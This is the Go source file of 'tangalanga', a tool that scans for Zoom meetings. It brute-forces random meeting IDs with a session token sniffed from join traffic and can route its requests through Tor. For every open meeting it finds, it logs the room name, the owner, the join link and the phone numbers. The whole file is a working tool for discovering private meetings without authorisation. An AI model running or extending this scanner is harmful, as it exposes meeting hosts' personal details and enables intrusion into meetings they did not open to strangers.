main.go

package main

import (
    "flag"
    "fmt"
    "math/rand"
    "net/http"
    "os"
    "os/signal"
    "runtime"
    "strconv"
    "strings"
    "sync"
    "syscall"
    "time"

    "github.com/logrusorgru/aurora"
    log "github.com/sirupsen/logrus"
)

const logo = `

        zoom scanner

▄▄▄▄▄ ▄▄▄·  ▐ ▄  ▄▄ •  ▄▄▄· ▄▄▌   ▄▄▄·  ▐ ▄  ▄▄ •  ▄▄▄·
•██  ▐█ ▀█ •█▌▐█▐█ ▀ ▪▐█ ▀█ ██•  ▐█ ▀█ •█▌▐█▐█ ▀ ▪▐█ ▀█
 ▐█.▪▄█▀▀█ ▐█▐▐▌▄█ ▀█▄▄█▀▀█ ██▪  ▄█▀▀█ ▐█▐▐▌▄█ ▀█▄▄█▀▀█
 ▐█▌·▐█ ▪▐▌██▐█▌▐█▄▪▐█▐█ ▪▐▌▐█▌▐▌▐█ ▪▐▌██▐█▌▐█▄▪▐█▐█ ▪▐▌
 ▀▀▀  ▀  ▀ ▀▀ █▪·▀▀▀▀  ▀  ▀ .▀▀▀  ▀  ▀ ▀▀ █▪·▀▀▀▀  ▀  ▀

        made with 💀 by @cuerbot

`

const zoomUrl = "https://www3.zoom.us/conf/j"

// added at compile time
var version string
var baked string

var color aurora.Aurora
var tangalanga *Tangalanga
var wg sync.WaitGroup
var ids chan int
var start time.Time

var token = flag.String("token", availableToken(), "zpk token to use")
var colorFlag = flag.Bool("colors", true, "enable or disable colors")
var censorFlag = flag.Bool("censor", false, "enable or disable stdout censorship")
var outputFile = flag.String("output", "", "output file for successful finds")
var debugFlag = flag.Bool("debug", false, "show error messages")
var torFlag = flag.Bool("tor", false, "connect via tor")
var proxyAddr = flag.String("proxy", "socks5://127.0.0.1:9150", "socks url to use as proxy")
var hiddenFlag = flag.Bool("hidden", false, "connect via embedded tor")
var rateCount = flag.Int("rate", runtime.NumCPU(), "worker count. defaults to CPU count")

func init() {
    var t *http.Transport

    rand.Seed(time.Now().UnixNano())

    color = aurora.NewAurora(*colorFlag)
    ids = make(chan int)
    start = time.Now()

    fmt.Println(color.Green(logo))

    flag.Parse()

    if *token == "" {
        fmt.Printf("%s is required.\n", color.Red("-token="))
        fmt.Println()

        fmt.Printf("%s can also be defined in the ENV.\n", color.Red("TOKEN"))
        fmt.Println()

        info := "token can be found by sniffing the traffic trying to join any meeting\n" +
            "currently i can't find how the token is generated but any lives for ~24 hours.\n" +
            "the token can be found as part of the Cookie header.\n" +
            "there's no need for authentication, anonymous join attempt will generate the cookie."

        fmt.Printf("%s %s\n", color.Red("zpk"), color.Yellow(info))
        fmt.Println()

        os.Exit(1)
    }

    fmt.Printf("build is %s\n", color.Yellow(version))

    if *outputFile != "" {
        file, err := os.OpenFile(*outputFile, os.O_CREATE|os.O_WRONLY|os.O_APPEND, 0666)

        if err != nil {
            log.SetOutput(os.Stdout)
        } else {
            fmt.Printf("output is %s\n", color.Yellow(*outputFile))
            log.SetOutput(file)
        }
    }

    fmt.Printf("worker pool size %d\n", color.Yellow(*rateCount))

    transports := new(Transport)

    switch true {
    case *hiddenFlag:
        fmt.Printf("connecting to the TOR network... %s\n", color.Yellow("please wait"))
        t = transports.InteralTOR()

    case *torFlag:
        fmt.Printf("connecting to the TOR network via proxy %s...\n", color.Yellow(*proxyAddr))
        t = transports.Proxy(*proxyAddr)

    default:
        t = transports.Default()
    }

    tangalanga, _ = NewTangalanga(
        WithTransport(t),
    )

}

func availableToken() string {
    switch {
    case os.Getenv("TOKEN") != "":
        return os.Getenv("TOKEN")
    case baked != "":
        return baked
    default:
        return ""
    }
}

func randId() int {
    min := 50000000000 // Just to avoid a sea of non existent ids
    max := 99999999999

    return rand.Intn(max-min+1) + min
}

func hide(msg string) string {
    return censor(msg, 3)
}

func censor(msg string, n int) string {
    text := []rune(msg)
    x := strings.Repeat("#", len(msg)-n)

    return string(text[0:n]) + x
}

func find(id int) {
    m, err := tangalanga.FindMeeting(id)

    if err != nil && *debugFlag {
        fmt.Printf("%s\n", err)
    }

    if err == nil {
        r := m.GetRoom()

        roomId := strconv.FormatUint(r.GetRoomId(), 10)
        roomName := r.GetRoomName()
        user := r.GetUser()
        link := r.GetLink()

        msg := "\nRoom ID: %s.\n" +
            "Room: %s.\n" +
            "Owner: %s.\n" +
            "Link: %s\n\n"

        if !*censorFlag || *outputFile != "" {
            log.WithFields(log.Fields{
                "room_id":   roomId,
                "room_name": roomName,
                "owner":     user,
                "link":      link,
            }).Info(r.GetPhoneNumbers())
        }

        if *censorFlag {
            roomId = hide(roomId)
            roomName = hide(roomName)
            user = hide(user)
            link = censor(link, 10)
        }

        fmt.Printf(msg,
            color.Green(roomId),
            color.Green(roomName),
            color.Green(user),
            color.Yellow(link),
        )
    }

}

func pool() {
    for i := 0; i < *rateCount; i++ {
        go func() {
            for id := range ids {
                find(id)
                wg.Done()
            }
        }()
    }
}

func main() {
    c := make(chan os.Signal, 1)
    done := 0

    signal.Notify(c, syscall.SIGINT, syscall.SIGTERM)

    fmt.Printf("searching for open meetings... %s\n", color.Yellow("please wait"))
    fmt.Println()

    go func() {
        <-c
        tangalanga.Close()

        fmt.Println()
        fmt.Printf("run for %s\n", color.Blue(time.Since(start)))
        fmt.Printf("attempted %d times \n", color.Yellow(done))
        fmt.Printf("found %d meetings. \n", color.Green(tangalanga.Found))
        fmt.Println()
        fmt.Printf("💣 with care. thank you for using %s!\n", color.Green("tangalanga"))
        fmt.Println()
        os.Exit(0)
    }()

    go pool()

    for h := 0; ; h++ {
        for i := 0; i < *rateCount; i++ {
            wg.Add(1)
            ids <- randId()
            done++

            if done%200 == 0 && h > 0 && *debugFlag == false {
                // Just to show something if no debug
                m := "found %d open meetings after %d attempts. the search continues\n"
                fmt.Printf(m, color.Green(tangalanga.Found), color.Yellow(done))
            }
        }

        if tangalanga.ExpiredToken {
            m := "the %s expired, you need to sniff join traffic for a new one\n"
            fmt.Printf(m, color.Red("token"))

            m = "you need to pass %s with the new token\n"
            fmt.Printf(m, color.Red("-token="))
            c <- syscall.SIGINT
        }

        // If there are too many suspicious "not found" try restarting the ...
        if tangalanga.Suspicious > 1000 {
            fmt.Println(color.Yellow("more than 1000 suspicious results. changing random"))
            rand.Seed(time.Now().UnixNano())
            tangalanga.Suspicious = 0
        }

        if *debugFlag {
            fmt.Println(color.Yellow("waiting for queue to drain..."))
        }

        wg.Wait()

    }
}